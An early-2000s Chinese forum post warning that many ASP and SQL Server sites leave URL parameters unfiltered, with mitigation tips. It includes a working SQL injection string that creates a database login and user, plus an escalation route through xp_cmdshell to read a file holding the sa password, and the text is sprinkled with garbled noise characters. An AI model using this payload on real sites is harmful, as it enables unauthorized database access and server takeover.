查看: 9663|回复: 0

ASP程序+数据库安全一例

[复制链接]
发表于 2002-2-10 17:14:05 |山东| 显示全部楼层 |阅读模式
为了考证这种类型的程序BUG,笔者最近去了很多用ASP和SQL SERVER做的网站,发现绝大部分网站的程序有这个BUG,于是觉得有必要把这个问题贴出,以免大家犯同样的错误。
* F* o" r  X+ F1 w8 f* j  BUG描述:
$ n! I' T- i3 `, F  把一个有参数的xxx.asp?x=x程序变成xxx.asp?x=x;use pubs;exec sp_addlogin 'admin','admin','master';exec sp_adduser 'admin','admin','db_ower';--
3 X/ [! F/ T9 |# n' H* @  BUG讲解:: }$ |3 u0 K! m, p* E0 E8 K! t/ W
  这个BUG是利用参数未过滤来执行SQL语句增加一个用户,然后可以用此用户连上SQL SERVER,再通过exec xp_cmdshell 'type x.asp'来查看存有sa密码的ASP文件来获得SQL SERVER的最高权限。/ f& [5 E7 a  N
  BUG消除:
8 K* I. P  o% k* S3 U  k4 G  程序增加参数过滤
) t. ^' I3 q  |' J! x  附:sp_addlogin和sp_adduser语法
" ~( L) Q( w/ w1 x  R& Bsp_addlogin [@loginame =] 'login'% w! O9 q" p  Y( M
  [,][@passwd =] 'password']# ^1 J3 G6 E+ J) K
  [,][@defdb =] 'database']
* g" q- T: p% W6 C. [. p: H  [,][@deflanguage =] 'language']3 i/ V3 t2 \: H
  [,[@sid =] 'sid']& c) x6 M5 o' X
  [,][@encryptopt =] 'encryption_option']
+ z4 l7 ~; w6 P6 m, O- U2 [sp_adduser [@loginame =] 'login'( Y6 X. k- D% z; J7 ^- D; z
  [,][@name_in_db =] 'user']" S9 a! j# o& D
  [,][@grpname =] 'group']( y- O3 X" F* x9 E0 O
  注:如果采取SQL SERVER设为本地连接、改变端品号、drop xp_cmdshell等等可以防止很多攻击行为呀 ^_^; D. R& d- h9 ~$ B# W1 e8 q2 y
嘿嘿,这个BUG还可以用来改administrator的密码,让服务器关机等等( H# m) ]# x" T! ~) j5 u1 N
您需要登录后才可以回帖 登录 | 注册

本版积分规则

关闭

站长推荐上一条 /1 下一条

相关侵权、举报、投诉及建议等,请发 E-mail:yesdong@qq.com

Powered by Discuz! X5.0 Licensed © 2001-2026 Discuz! Team.44152102000001

在本版发帖QQ客服返回顶部